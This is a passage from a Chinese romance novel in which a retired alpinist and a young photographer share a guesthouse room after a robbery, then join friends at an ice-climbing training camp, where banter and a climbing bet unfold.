走进大堂,更确切地说是不到五平米拥挤的格子间,老板正在柜台后的折叠椅上酣睡。华松栩上前敲敲柜面,“老板?老板住店!”
老板一个鲤鱼打挺坐了起来,是个中年藏族男子。他搓搓脸起身,操着一口带口音的普通话,“你好。”
“两间房。”华松栩掏出身份证,冲徐汀云一伸手,后者乖巧地把自己的放在她的掌心。
“现在只剩下一间双床房了,二位可以吗?”老板翻了翻登记簿后抱歉地说,“最近下雪,住客比较多。”
徐汀云蹙眉,“周围还有别的招待所或者宾馆吗?”
老板摇头,“离这□□公里外有一家,是我妻弟开的,也满了。”
徐汀云从华松栩手中抽过自己的身份证,“你住,我睡车里。”
华松栩眼看他背着包就要出去,身体比脑袋更迅速地上前拉住他的袖子,“……没事,我不介意。”
徐汀云微怔,而后大咧咧一笑,“牧马人借我睡一晚就行,体验一下拥有梦中情车的感觉。”
“一顶单人帐篷都能睡,两张床还睡不得了?”华松栩用力拉住他,反手将身份证放在柜台上,“老板,双床房。谢谢。”
20. 同一间房
自陡峭狭窄的楼梯连爬三层,华松栩终于找到了他们的房间。咔嗒一声,钥匙锁心碰撞,她推开门拉开灯,冲跟在后面磨叽的徐汀云招手,“快点。”
徐汀云蔫头蔫脑的踏进房间,看到两张几乎贴在一起的单人床,踟蹰道:“不然我还是——”
“闭嘴。”华松栩凶他,“赶紧去洗漱,洗完给你上药。”
招待所老板递钥匙的时候发现两人有伤,又听说是遇到抢劫,翻箱倒柜找出碘伏棉签和创可贴非要他们收下。盛情难却,他们只得连连道谢。
老招待所的设施陈旧,花洒的水几乎是汇聚成股,加上不太自在,徐汀云五分钟飞速洗完。套上速干和外裤出来时,华松栩正在打电话。
“没事,现在在理云县……报过警了……人没事就行,其他后续再看吧……”华松栩冲他指了指靠门的床,继续望向窗外,“你也在藏北?前几天不是说在蓉城吗……我估计还得几天……好明天联系。”
“怎么了?”徐汀云一直乖乖坐在床沿,看她丢开手机后问。
华松栩在老板给的塑料袋里翻找,“我有个朋友也在藏北,他明天过来。”
说来也巧,周耀联系她是为了推迟蓉市之约,没想到一问两人相距不过六十公里。
徐汀云挠头,“男的?”
“嗯。”华松栩说,“衣服脱了。”
“啊——啊???”
华松栩一手拿碘酒一手举棉签,回身冲愣怔的某人抬下巴,“给你抹药。”
徐汀云双手死死捏着袖子瞳孔颤抖,像极了即将要被轻薄的良家妇女,“不不不不用!”
挣扎间,采花贼已经在他面前站定了,眸色清冷睨他,“不脱?等着我给你脱?”
最终,良家妇男屈服在采花贼的yin威之下,磨磨蹭蹭脱了上衣。
男人宽肩窄腰,一身利落流畅的薄肌配上偏冷白的肤色,在这昏暗的的光线下着实让人忍不住多看两眼。华松栩毫不客气地打量了一番,“这不有肌肉吗,学学网上那些博主,勇敢秀出来。”
徐汀云额角跳动,真的很想双手抱胸,碍于最后的面子强行忍住了,艰难道:“是上药呢还是培养擦边博主呢?”
华松栩忍俊不禁,拍了下他湿漉漉的发,“转过去。”
“哦。”
徐汀云坐在床边侧身,华松栩坐在他身后,蘸了碘伏的棉签轻柔地落在创口上。那番混乱的搏斗中,他挨了不少拳脚闷棍,这会背上青一片紫一片,有的青里还含着斑斑点点的黑色淤血,简直惨不忍睹。
华松栩问:“疼不疼?”
“不疼。”徐汀云抿唇,嗓音有些喑哑。
其实有点疼,但更多的是酥酥麻麻。毕竟她就着昏暗的灯光上药,离得近,呼吸全部喷洒在他赤裸的脊背上。
华松栩无知无觉,一路从后腰到肩背。从她的角度,恰好能看到徐汀云微侧的小半张脸,优越的骨相,怎么看怎么干净俊朗,和在危机时刻死死挡着车门甚至不惜以身犯险也要让她离开的狠戾判若两人。但无论是他的哪一面,她都觉得很好。
她叹了口气,“徐汀云?”
“嗯?”徐汀云笑了下。
他和她说话时,总忍不住带着笑。
“万一以后遇到类似情况,别犯傻,优先保护好自己。”华松栩说,“转过来。”
徐汀云听话地转身,双臂撑在身后的床上,锁骨下一道暗红色的破皮在白肤映衬下愈发可怖。她又叹了口气,重新抽了根棉签沾了碘伏,顺创口一点点涂抹。
徐汀云敛眸,恰好能自上而下看到她精巧的鼻梁和细密的睫毛,随着眨眼的动作像蝴蝶扇动翅膀,勾得心里直发痒,喉结也不受控制的滚动。
在漫长又甜蜜的煎熬后,华松栩收手,“脸上的你对镜子抹,破相了小徐。”
她刚要起身,却被小徐拉住了手腕。男人身上还带着刚洗完澡的潮气,发丝还在淌水,就这样靠近,紧接着披散的发丝被轻柔地别到耳后,“你也破相了,阿栩。”
华松栩的心猛地一颤,像梦里踏空台阶后骤然坠落,又落入一张柔软又温暖的网。
“当时没想那么多,全靠直觉。”徐汀云歪头看她有些肿胀的脸颊,“疼不疼?”
华松栩应该起身避开的,但望着咫尺距离的俊颜,对上那双认真的眼睛,她偏偏一个指头都动弹不得,只哑声说了句不疼。
“你真是……”徐汀云叹气,“晚上药店估计不开门,明早给你买消肿药膏。”
他撤开些距离,凝滞的空气重新流动起来。
“不用,很快就好了。”
“又不是光你要用,我也得守护一下帅气的外表。这不是还要追喜欢的人嘛,破相可不行。”
华松栩眨眼的功夫将方才莫名的情愫压回心底,起身将棉签扔进垃圾桶,“没事,破相了还有你的才华和肉/体顶着。”
徐汀云穿上衣服,为了干得快拨拉着头发,闻言忧伤叹气,“人不能嘴瓢,嘴瓢一次就被某人记一辈子。”
“一辈子很长,总会忘的。等我老年痴呆的时候就忘了。”她说罢便捞起洗漱用品进了卫生间。
徐汀云枕着手臂躺下,听着时强时弱的水声,心里念叨着她最后一句话,直觉今天要失眠。
十分钟后,卫生间门咔哒一声打开,华松栩边走边说:“徐汀云,明天咱们——”
看着男人安静的睡颜,她吞回后半句话,有些无奈。这人一沾床就睡,真不知道这样的体质那天怎么失眠到凌晨三点。
华松栩放轻脚步,放好东西,关了灯。刚躺下,想起来徐汀云没盖被子,又起来给他盖了一次,这才安心。
一夜无梦,华松栩转醒时,先是被强光刺了眼。毕竟老旧招待所窗帘布料薄,也不够严丝缝合。她伸了个拦腰,眯眼朝另一方向看。另一张床被子大开,人却无影无踪。
“徐汀云?”
无人应答,看卫生间灯也黑着,便猜这人是出去找药店去了。
她蛄蛹了一阵,终于驱散残存的睡意,捞起手机看时间,已经是早上九点。一绿色的通知提示正挂在锁屏上。点开,一只直击人心的土拨鼠击中了
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她的眼球,头像旁是简简单单的三个字:快通过。
华松栩:……还真简洁扼要。
她按下通过,没一分钟,提示音响起。
【阿栩忠实迷弟小徐同学:我在早餐店,有包子和酥油茶,吃吗?】
华松栩难以置信地盯着聊天记录顶半晌,终于确认不是自己眼花,遂狠狠敲键盘。
【阿栩:吃。以及您能否换个正常的名字?】
那头回得很快。
【阿栩忠实迷弟小徐同学:哦对哦,我这就换,不好意思。】
华松栩摇头,正打算起床,提示音再次响起。
【阿栩革命战友小徐同学:现在好了。】
华松栩:……真多余说那一句。
她迅速收拾好东西下楼退房,到门口时遇上徐汀云提着早餐回来。男人身型笔挺着一身黑色冲锋衣裤,脸上的擦伤经过一晚返青,颇有校园剧里天天打架的帅气逼人酷拽校霸既视感。
徐汀云大步流星走近,发现她正用一种看案板上鱼肉的眼神看她,搓搓鸡皮疙瘩小心地问:“或许你在思考把我埋哪吗?”
“哈?”华松栩挑眉,“我是看你帅。”
徐汀云乐了,“展开说说?”
华松栩接过早餐,咬了一口包子,“像校园剧里对全世界发疯只对女主体贴、但仍然被男主碾压的校霸男二。”
徐汀云瘫着脸去抢包子,“还给我,我需要重新考虑一下。”
华松栩闪身一躲,得意洋洋地晃晃袋子,“晚了,给我就是我的。”
“那你付钱。”
“不。”
“我付钱我就得是男主。”
“谢谢男二请客。”
“……”
华松栩吃饱睡足心情好,就想逗逗小徐,边倒退边喝酥油茶,一不小心撞到了人。
“小心!”徐汀云喊,但已经晚了。
“不好意思。”她立刻回身道歉,在看清来人面孔后紧绷的神色松动,旋即笑了,“怎么来这么早?”
周耀背一68L的重装包,看起来风尘仆仆,刚毅的眉宇间满是担忧,“真没事?”
“没事。”华松栩主动上前和老友拥抱,“好久不见老周。”
“好久不见,阿栩。”周耀拍拍她的后背,长吁一口气,忽然察觉到一股异常幽怨的目光。
周耀挑眉,“?”
徐汀云站在两米外的台阶上双手抱臂,也挑眉,“?”
华松栩退开一步,正想问问周耀吃过没要不要去吃早饭,便看到他神色古怪地盯着自己身后。她眨眨眼,回头,看到徐汀云笑容可掬地冲他们挥手,遂提醒:“过来打招呼。”
徐汀云乖乖在她身旁站定,鞠躬,“周哥好,久仰。”
周耀来了兴趣,“哦?阿栩,这位是?”
华松栩刚想说革命战友,感觉不太合适,一下卡住不知道该怎么讲了。她看向徐汀云,后者正高高挑起一边眉毛,好整以暇地等着。
在两人期待的眼神中,华松栩深吸一口气,“他是我的迷弟。”
21. 又见故人
半小时后,周耀坐在街上唯一一家早餐店里狼吞虎咽,边吃还边招呼对面二位一起吃。
“我俩吃过——”华松栩看向徐汀云,“你吃过了吧?”
徐汀云旁观对周耀吃法都噎得慌,闻言点头,“没吃太多,但饱了。”
华松栩回忆了下方才她一口气吃掉了三个包子,又喝完了一整杯酥油茶,开始反思自己。
周耀有点噎,正要去端酥油茶,一只纤纤素手抢先一步拉住碗沿,一路挪到徐汀云面前。
周耀:“?”
华松栩和徐汀云细声说:“你喝,喝饱点。”
转向周耀就是“你已经吃了七个包子不能再吃了!”
徐汀云那点小情绪瞬间被抚平,喜滋滋喝起来,“谢谢周哥。”
周耀悻悻收手,喝了两口白水,视线在两人身上打了个转,“迷弟?”
华松栩失笑,“玩笑话。徐汀云,《旷野》的摄影师,贺灵手下的。我俩在怀远村机缘巧合认识。”
徐汀云急忙咽下那口酥油茶,礼貌地说:“周哥好,您叫我小徐就行。”
“小徐是吧,你好你好。”周耀说,“我叫周耀,和阿栩一样,登山运动员。”
“我知道您,有看您去年登顶贡嘎的登山报告。”
周耀乐了,“哎哟,是个行家啊!”
徐汀云小声抱怨,“我想和她学攀冰她都不教,行家的行的一撇都没写下。”
周耀嘶了一声,“那刚好啊,云上你知道吗?我和阿栩的签约品牌,这一期攀冰训练营明天开始,五天时间,就在隔壁因青县。小徐感兴趣的话来试试。”
徐汀云来劲了,“可以吗?还有名额吗?”
“小范围训练营,人不多,加你一个没问题。”
徐汀云第一反应是看华松栩,后者正垂着眸,神色淡淡。他从口袋里掏出腿了3公里多才买到的药膏递给她,“你先涂一涂。”
华松栩接过,抿唇,“别贿赂我。”
“没有。”徐汀云小小声,“警察不是让咱在这等两天嘛,刚好我去学习一下,也不耽误。”
“你的事情,无需和我解释。你自己决定。”
徐汀云有点急,“不是——”
周耀放下杯子,突然打断:“阿栩,跟我出来一下。”
华松栩跟着周耀一路出了店门,站在门口的枯树坑旁边,感觉有点烦,习惯性地点了根烟。
周耀浓眉拧成一个川字,“什么时候开始抽烟了?”
“想说什么直接说吧,别绕圈子。”华松栩兴致缺缺。
“那小伙一直看你眼色,还说你不愿意教他攀冰。为什么?因为丰哥?”
华松栩牙关用力,“还真够直接。”
“你不能永远困在过去阿栩。这种事咱都经历过,只能往前看。”周耀面露苦涩。
“呵。”华松栩用力掐掉烟,“里面那个,京大的博三后半年就要毕业了,家里就剩他一个人。你让他走阿式攀登的路?你心里能过得去吗?”
“能。这是他的选择,不是我的,也不是你的。”
“是,所以他跟你去攀冰我无权反对,但我永远不可能教他。”
“你不教,他也会去别的地方学。与其去别的地方学,不如你悉心教。你我都知道,关键时刻攀爬能力能保命!”
华松栩沉默少顷,说:“他和你我不一样。他还有很多选择,更好的选择。”
“走上这行都是因为热爱,被你说的像是不归路一样。”周耀拍拍她的肩膀,“别想那么多,说不准平衡能力差到爬不了一点呢?”
华松栩一点都笑不出来。从一开始,她就看出了徐汀云身上的潜力,这也是她本能想要阻拦的原因。
“走,进去吧。你的迷弟盯着咱五分钟,该等急了。”周耀叹了口气说。
华松栩回头,恰好看到徐汀云被抓包后嗖一下转过身,颇有掩耳盗铃之感。
周耀敏锐地盯着她,“你什么时候这么爱笑了?”
华松栩:“……有笑吗?”
她自己都没意识到。
周耀笃定,“有。”
“笑就笑吧。”华松栩将烟头扔进垃圾桶,率先回了店里。
徐汀云听到身后动静后坐直,并专心致志用勺子刮碗底最后的一丢丢酥油茶。华松栩看得真切,忍俊不禁,正要坐下又对上了周耀似笑非笑的目光。
华松栩:?
周耀做口型:又、笑、了!
华松栩:……
她选择忽视,冲徐汀云说:“想去就去,我在这等你就行。”
徐汀云反应了下,“你不去吗?”
“熟人多,不去了。”
“你不去的话我也不去,怎么能留你一个人在这等。”徐汀云立刻说。
“噗——”周耀正喝水呢,没忍住喷了出来,“咳咳咳咳咳!”
华松栩嫌弃地递了张纸过去。
周耀擦擦嘴,缓了好一阵后难以置信地说:“小徐,你当咱阿栩是朵温室娇花呢?她过去的彪悍历史说出来能吓死人,在小县城一人待几天算什么?”
徐汀云淡声说:“她可以是她的能力,但这不是我丢下她的理由。”
华松栩呼吸一滞,捏着药膏的手倏紧。她抽了张纸巾,缓缓擦掉挤多的膏体,以此掩饰自己的无措。
周耀完全没预料到这样的回应,呆了好几秒后讪笑,“哈哈,是,是这个道理。那、那阿栩,你看咱是……”
徐汀云抢先一步说:“没事周哥,她不想去就不去。攀冰嘛,以后总有机会。”
华松栩最终还是点头了。她说不清楚是徐汀云过分的体贴让她心软,还是有什么更深层次的原因。但此刻,她不想去细究,也没心思细究。
徐汀云一手把着方向盘跟周耀的车走,另一手在大腿上蹭了蹭,有点紧张,“真的没关系嘛?”
华松栩没好气,“有没有关系能怎样!”
“不想去现在就调头。我真无所谓,机会还多嘛!”徐汀云趁速度不快回头看她眼色。
华松栩知道他没说实话,伸手指前面,“看路。”
“哦。”小徐乖乖听话。
去因青县有很长一截全是炸弹坑的土路,颠的能飞起来。在这样恶劣的乘车体验中,华松栩奇迹般地睡着了,一直睡到停车才幽幽转醒。
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徐汀云先一步拉开副驾车门,喜滋滋地说:“挺好,睡醒了直接吃饭。周哥说营地今儿吃火锅。”
华松栩晃晃脑袋,手软脚软地下车,“清汤锅,清水煮肥肉。你最好别抱太大期望。”
“啊?”徐汀云傻了。
本次云上训练营的基地距离攀冰场地五公里的距离,是一个专为学员教练提供住宿的客栈。华松栩才进屋,两个坐在木凳上烤火的男人立刻起身。
“这都多久了阿栩!”
“那会老周打电话说你要过来,我都不信。”
华松栩淡笑,和两人拥抱,“好久不见。”
她回头指徐汀云,“带了个插班生,徐汀云。”
又指了指两个男人,“这回的教练,刘正泉泉哥,肖鸣肖哥。”
刘正泉身材高大魁梧,浓眉大眼,典型的北方人长相。肖鸣身材瘦削一些,白白净净,很有书生气。
徐汀云背后背自己的包身前垮华松栩的包,乖乖地说:“泉哥好,肖哥好,叫我小徐就行。”
“你好你好。”两人和他握手。
打过招呼,华松栩指旁边铺了毛毡的通铺,“东西放那,你先坐。”
徐汀云点头,“好。”
他一走,泉哥和肖哥表情都凝重了许多。
泉哥拧眉,“听说你从怀远村过来,还好吗?”
肖哥紧接着说:“你这一年销声匿迹,大家都担心得很。有什么事得和哥几个说。”
华松栩早就预料到会有这么一遭,这也是她最初不想来的原因。她扯唇,“都好,没事。”
泉哥叹气,摁了摁她的肩,“有计划重出江湖吗?最近圈里有几个小伙,能力很强意识也不错,需要的话帮你介绍。不过就是……和丰哥比肯定差远了。”
“我听老许说在青省瞄了个未登峰,五千多的海拔,难度适中,计划三月去,你要想练练手可以联系。”肖哥道。
华松栩摇头,“先不用了吧,这些以后再说。”
两人对视,神情惋惜,“阿栩,女攀运动员不少,能阿式攀登的没几个。你再考虑考虑?”
华松栩沉默良久,不知该怎么回绝,突然身后传来一吊儿郎当的声音,“在考虑了在考虑了。”
她偏头,身侧徐汀云正咧嘴笑,“实不相瞒,阿栩搭档这个位置我提前预订了。”
泉哥失笑,“你?你不是来学攀冰的学员吗?还没入行,就幻想爬幺妹了?”
徐汀云也不恼,乐呵呵地搓手,“是,是有点远哈。不过我这人学东西快,保不准一年之后就行了呢?”
肖哥也被逗笑了,拍拍徐汀云胳膊,“有理想是好事,就缺你这样有热情的年轻人。但光有热情不行,这可不是开玩笑的事情。”
徐汀云认真点头,“您说的是。不过她答应我会考虑的,我已经领到号码牌了啊!那个什么小伙啊什么许哥,都得排我后头。”
说完,他冲华松栩眨了下眼,又撞了撞她的肩,“你说是吧?”
华松栩在徐汀云满脸期待和肖哥泉哥满脸震惊中,艰难地点了头,“是,他现在排第一个。所以两位,不用替我找了。”
22. 小狗模样
“火锅好了,过来端菜!”厨房里辛勤劳作的周耀喊了声,刘正泉和肖鸣赶紧过去帮忙。
两人一走,诺大的房间里只剩下华松栩和徐汀云。
华松栩睨他,音调压得很低,“没当真吧?”
徐汀云挠头,腼腆道:“能当真吗?”
“不能。”
徐汀云惆怅,转瞬又笑了,乖顺地说:“都听你的,那就不当真。”
当传说中的火锅上桌时,徐汀云眼里最后一丝微光啪一声,灭了。
说好的正宗川省火锅呢?麻辣鲜香锅底,黄喉毛肚猪脑花,苕皮贡菜香豆干,以上通通没有。有的是清澈泛白的汤,和漂浮的玉米大葱和肥猪肉。
华松栩完全懂他此刻被颠覆认知的崩溃,体贴地拍拍他后背,“吃吧,这可是你周哥为欢迎你亲自做。”
徐汀云艰难地挤出笑容,“谢……谢谢周哥。”
周耀还不好意思上了,“小徐太客气了,快坐下吃,多吃点昂!”
徐汀云嗓音颤抖,“昂~”
华松栩在他看不到的地方勾了勾唇角。
这盆锅底看起来有点黑暗,其实吃起来还……可以果腹。小徐方才心理落差太大,其实一向不挑,什么都往嘴里塞。周耀越看越喜欢。
华松栩不饿,没吃太多。中间借机溜到厨房找到一袋泡面里的辣子,再回来时偷偷从桌子下塞给了徐汀云。后者那一瞬间的目光,堪比扒着块木板即将被海啸吞没时遇到了诺亚方舟。
下午两点,攀冰训练营集合完毕。三个教练七个学员,外加一个游手好闲的前职业选手抵达攀冰基地。今天的目的是强调安全问题,教些基础理论知识。泉哥和肖鸣两人负责,华松栩和周耀在旁观看加摸鱼。
“好久没见这么新的新人了吧?”周耀端着个保温壶时不时嘬一口,又闻一下茶香,悠悠哉哉的。
坐在这个位置,华松栩将所有人尽收眼底。这波学员加上徐汀云五男两女,男生看不出什么,两个女生爱美,打扮得很精致,“嗯,这次是云上搞宣传?”
“是啊。除了你的迷弟,六个人里三个户外博主。”周耀怅然,“怀念咱那时候啊!”
华松栩很快收回了视线,“时代不一样了,需要流量提升品牌知名度。人家是博主没错,不代表不喜欢攀冰。好好教吧。”
华松栩坐在这闲来无事,耳边是泉哥中气十足的声音,刚才在介绍冰爪的种类和使用方法,这会说到冰镐了。她忽然想到昨天遇劫时,徐汀云从她手里抽走的那一把,这家伙逃命的时候弄丢了。
那是她用的最顺手的,怪可惜。
面前的冰瀑约莫六十米高,还保留着水流垂落的纹路。冰帘下偶有黑色的岩壁,外侧悬挂冰锥,像极了长满獠牙的深渊巨口。华松栩目测几条线路难度区间在WI2至WI4,挺适合新手。
周耀注意到她的目光,夹着保温杯盖的手一抬,“这是宝宝路线,你往右边看。”
右手边,和面前冰瀑呈六十度角左右有一面冰壁,吊灯、花椰菜冰体密布,是华松栩以前最喜欢的线路类型。她盯着插在冰壁上的木桩,“有攀冰比赛?”
近两年的攀冰比赛线路设置多样,冰、岩、木桩等混合线路,将攀岩技能应用于攀冰比赛增加看点。这木桩就是比赛中用到的。
“有,下周。来玩玩?”
“不玩。”华松栩垂下眼皮。
一会的功夫,基础知识讲完,肖鸣拿过准备的器械让大家试带试用,再分组互相帮对方检查。七个人,两两成组,势必有人落单。
华松栩原以为落单的是徐汀云,没想到肖鸣话将落,穿松蒿粉冲锋衣的姑娘径直走到徐汀云面前,落落大方地伸手:“你好,我叫宁函林。”
徐汀云颠了颠左手的头盔和右手的安全带,颔首,“你好,徐汀云。”
宁函林的手落空,愣了下,又恢复如常,“你一个人的话,要不要咱俩一组?”
徐汀云露齿一笑,绅士地欠身,“谢谢,但我不是一人,婉拒了哈。”
“噗——”
华松栩嫌弃地往左挪出去半米,周耀边擦嘴边笑,“小伙真是个人才。”
拒绝得直接,但态度绝佳,让人挑不出半点毛病。
华松栩隐约觉得这句话似曾相识,一时半会又想不起来。冥思苦想的功夫,面前多出来个黑影。她这会席地而坐,一抬头先是两条冲锋裤包裹的长腿,再抬头,是徐汀云一脸小媳妇的幽怨。
“怎么了?”华松栩问。
徐汀云长腿一屈,蹲下了。他没带针织帽,也没带防风面罩,脸颊冻得微微泛红,冷不丁说:“我想做个白日梦。”
华松栩蹙眉,“哈?”
“你不是说做梦才教我吗?”
华松栩想起来了,与此同时还想起了方才那句耳熟的话。救下失温驴友那天,徐汀云说到时候在陪她来,她说婉拒。于是,她又说:“婉拒了。”
徐汀云就着双臂搭在双膝的姿势,扑哧一笑问:“都听见了?”
正假装望天的周耀忍不住说:“我俩还没老到耳聋眼瞎。”
即使徐汀云蹲着,华松栩还需微微仰视才能看到他的眼睛。她发现早上关于校霸的评价需要更正。他更像是少女时代的幻想,无论是少年在篮球场上挥洒汗水时的身影,还是阳光下被风吹起的白衬衫,干净至极,举手投足都是朝气蓬勃。不怪女生们想要接近。
“拿我当枪使呢?”她向徐汀云身后看去,显然,他方才高调的举动吸引了大家的注意力,这会都状似无意地往这边瞥。
徐汀云一个劲笑,“插班生嘛,总得抱一条大腿。”
“滚蛋。”华松栩看似不耐烦地挥挥手,“让肖鸣帮你。”
“遵命。”
徐汀云一撑膝盖起身,大步流星跑了回去,毫不纠缠。华松栩就知道,这家伙搞这么一出根本不是为了让她教,就是拿她当枪使没错,于是后槽牙紧了紧。
这边华松栩是想要掐死他的死亡凝视,那边徐汀云已经被盘问了。
旁边的男生一脸坏笑,“带女朋友来的?”
徐汀云矜持摇头,“不是。”
说是不是,但方才跑去表忠心
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的小狗劲儿,那简直太是了。
宁函林和另一个女生正在穿冰爪,闻言抱怨道:“我这次想带闺蜜来,云上都不允许。怎么还双标呢?”
挑起话题的男生摸摸鼻子,“那个、品牌方有自己的考虑吧。”
“我闺蜜起码也是户外圈的都不同意。”宁函林又看了一眼华松栩裹着的毛毯,以及和户外毫不沾边的雪地靴。
不远处,周耀一下乐了,拍拍华松栩的脑袋,“哎呀,咱们阿栩金盆洗手一年,江湖上连传说都没有啦!”
华松栩躲开他的手,随意笑了下,没放心上。那姑娘本意也不是针对她,单纯抱怨下罢了。更何况,别人知不知道她一点都不重要。
谁料,徐汀云朝她这边看了过来,视线一触即收,再回头去便是粲然一笑,“如果你在说她,那你还真想错了。不是我带她来,是我死气白咧求她带我来的。”
宁函林一僵,不可思议地看了过来。七个脑袋都看了过来。
华松栩缓缓扶额,好希望这一切都是幻觉。
直到这一天结束,华松栩时不时都会接收到这样的目光。不仅是徐汀云维护的话,更多是她和几位教练的熟念,再加上出众的长相和冷若冰霜的气质,一下成为几位学员悄悄探究的对象。
吃过晚饭回房间时,华松栩揪住徐汀云的帽子。他俩来的最晚,被安排在最顶层,两间房,隔壁。
这一层只住了他们俩,华松栩没刻意压低声音,“你怎么回事?戏精?”
徐汀云缓缓举起双手,仿佛背后的不是手而是手枪,“你看我这不是要追喜欢的人吗,我不能让人误会。”
“谁误会你?”华松栩给他后脑勺一下,“人家和你结个组,就是看上你了?你脸怎么这么大?”
徐汀云夸张地嗷了一声,边揉边转身看她,委屈巴巴地说:“我没那么普信。这不是怕你误会嘛……”
华松栩眨了眨眼,疑惑:“我能误会什么?”
“误会我水性扬花。”徐汀云也跟着她的频率眨眼。
“……我没那闲工夫。”
“那也不行。我已经领到爱的号码牌了,排第一个,你说的。”
华松栩噎了下,“我没有。”
徐汀云认真脸。“你有。”
华松栩立刻放弃了这幼稚的对话,转身回屋,却在擦肩而过的瞬间发现徐汀云口袋里插了个东西,很眼熟。
她直接上手抽了出来,确认是那天被当作武器丢失的冰镐,疑惑地看向他,“解释一下?”
徐汀云猝不及防,俊脸上浮现慌张。
华松栩颠了颠,问:“贪污腐败?”
“不是。”徐汀云又想笑又有点扭捏,视线飘忽了一阵落在了她身后的消防栓上,“昨天冰镐砸到地下,钝了。我跟周哥请教了下怎么打磨,就……拿回来修一修。”
华松栩蹙眉又问:“昨天不是掉了吗?”
她依稀记得徐汀云狂奔上车时冰镐和甩棍脱手了。
“掉了。”徐汀云说,“但我记得你发过这对冰镐的图,说很顺手很好用,就捡回来。”
23. 神采飞扬
徐汀云说得轻描淡写,好像只是走在路上发现掉了东西,于是弯腰捡起来这般简单。
华松栩还记得他被体格约为他1.5倍的壮汉拉住的场景,也记得他踉跄扑上车的瞬间,距离他不足一米的刀锋。她想象不来,徐汀云在这样危急的时刻怎么还能想起来她发的某篇帖子,怎么还有余力和胆量耽误那几秒的时间去拾起。几秒很可能是致命的。
华松栩躺在干净的大床上,面露茫然。耳边,是着一面墙隐约传来的打磨冰镐尖的声音,持续了很久。
她就这样睡着了。
这一夜的梦里,华松栩没有回到山难的瞬间,而是去往那间破败的加油站。
她坐在车里心绪不宁,有人敲了她的窗,帽檐下的眼睛比星星还亮,笑意吟吟地叫她阿栩。
“我们认识吗?”华松栩听到自己问,嗓音很冷漠,是她已经习惯且无法摆脱的冷漠。
那人也不恼,依然笑嘻嘻的,“嗯,认识。认识好多年了。”
华松栩不信,现在除了个别关系稍近的人,已经没人记得她了。所以这人肯定是骗子,心怀不轨。于是,她踩下油门就走,想要远远把他甩到身后。
然而,那人的声音依然乘风而来,磁性好听,还特别真诚。
“你只管往前走,我会一直陪在你身后。”
第二天一上午,华松栩都忍不住回想这个梦。自从她意外掉马之后,徐汀云再也没提及偶像、女神的只言片语。看似大大咧咧的男生,其实比谁都细心,比谁都有分寸。明明认识不到半个月,却莫名有认识好多年的熟念。
熟念的徐汀云生疏地敲响了华松栩的门,“起来了吗?要出发了!”
“来了。”华松栩捞起她的小毯子裹上,慢悠悠打开门。
徐汀云一脸阳光灿烂,可惜一夜过去面颊青紫愈发明显,看起来有点滑稽。华松栩皱着脸问:“你抹药了吗?怎么成这样了?”
“啊,没事。”徐汀云随意摸摸额头,“不过我看你的脸好多了。”
“嗯,本来就没多疼。”
华松栩正要关门,被徐汀云抬手挡住。她被框进了门和徐汀云之间的小小空间里,“干什么?”
徐汀云偏着头,从头上的针织帽看到脚上的雪地靴,“嗯……换身衣服?”
“为什么?”华松栩有些不自在地往后缩,背抵住门板。
“是这样的。我今天打算拍两张冰镐的图,下期《旷野》有攀冰专题,你给我当模特呗!”徐汀云拍拍口袋,冰镐塞在里面鼓鼓囊囊的,“顺便为维修工小徐打个五星好评?”
华松栩沉默几秒,转身进屋带上了门。面对这么真挚的请求,能怎么办呢?就宠着他吧。
徐汀云对着门板傻笑。
今天正式开始攀冰训练,从垂直冰壁的前提式技巧开始,到冰镐选点,再到攀登中重心的移动。华松栩靠着车门看了不到半小时,就摸清了这七个人的潜能。
确认大家伙都掌握后,周耀让他们在两米高的范围练习,自己又跑来摸鱼。他走到华松栩旁边,第一句话就是,“哎,你从哪捡了个宝?”
华松栩没应,神色淡淡望着不远处的身影。打镐,微微下拉,重心后坠,腾出空间上脚将冰爪齿钉压进,借助手上的力道重心上移贴近冰壁,再次形成稳定的X型。不像大部分初学者背手脚顺序的生疏,整个过程流畅自然。
周耀用肩膀撞她,“说真的,你要不教就给我带呗!这种天生的协调性,和当年的你相比都不落下风啊!”
“当年?”华松栩睨他,“我现在也照样能打好吗?”
“嗷哟,我不信。除非你现场给我演示。”
华松栩不吃激将法,冷漠道:“不。别摸鱼了,赶紧上课去。”
周耀一向惜才,不依不饶地问:“那小徐怎么说嘛,你同意不同意?”
华松栩无辜,“他的事情你问他,和我有什么关系?”
“你一甩脸色人家人家吓得攀冰训练营都不敢来,不问你问谁?”
“……”华松栩哽住。
休息的时候,周耀向徐汀云委婉表达了他的看好,询问是否愿意跟他练一段时间。
徐汀云第一反应是道谢,第二句就是——阿栩怎么说。
周耀拍他的肩膀,语重心长,“小徐呀,这么多棵树,你不能在一棵树上吊死。多个选择嘛!”
徐汀云反手也拍周耀的背,“周哥说的是,确实是这个道理。但是我已经领到爱的号码牌了,还排在第一。”
周耀:“……啥?”
徐汀云退开一步,鞠了一躬,滴溜溜跑去找华松栩了。
周耀:……还是第一次有人用这么敷衍的借口拒绝我,小伙你成功吸引了我的注意。
“走吧模特,休息二十分钟。”徐汀云跑得急,站定时气息还有些急促。
华松栩有点不自在地转了转脖子,“怎么拍?光拍胳膊吗?”
徐汀云打开后座的门拿出相机,“你怎么自在怎么来。”
话虽然这么说,但常年不爱拍照的人面对镜头是怎么都自在不起来的。
华松栩双脚站在大地上,拿着徐汀云修好的冰镐装模作样凿冰壁。别说专业摄影师了,她自己都觉得不行,“这样不行吧?”
徐汀云不好意思直说,挠挠头,“那个……我再试试别的角度。”
又试了半天,华松栩烦躁了。注意到这边动静的周耀走过来,一脸无语地说:“你爬条线不比摆拍来得快、来得简单?”
徐汀云眼睛一亮,又十分克制地压了下来,“不用周哥,我努努力。没有不好的模特,只有不好的摄影师,我能行。”
周耀不给面子地嗤笑,“就她那敲木鱼一样的动作,再怎么包装最多是钉钉子,和户外边都不沾。”
华松栩抡冰镐的手挺住,转身,冷眼瞪他,“你行你来?”
周耀连连摆手,“我这手太粗糙了,不像你,不但白,还细密嫩肉的。上镜好看。”
华松栩双膝又中了一箭。她这一年天天窝家里捂白了好多,手上的茧子也退了些。
徐汀云没忍住说:“泡脚凤爪?”
华松栩抬手作势要揍他,后者边笑边连连后退。
周耀装模作样的拦,“比赛场地都建好了,安全
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系统都建起来了,你去爬一遍至多二十分钟,问题不就解决了?”
华松栩冷声:“二十分钟?看不起我?”
“嘴说没用,你行你就上。不上就是二十分钟。”周耀耸肩。
华松栩沉默少顷,推开周耀径直走到车旁开始上装备,安全带、头盔、冰镐、备用镐、冰爪,穿戴好刷刷走回他面前,杏眸半眯,神情倨傲,“打赌?”
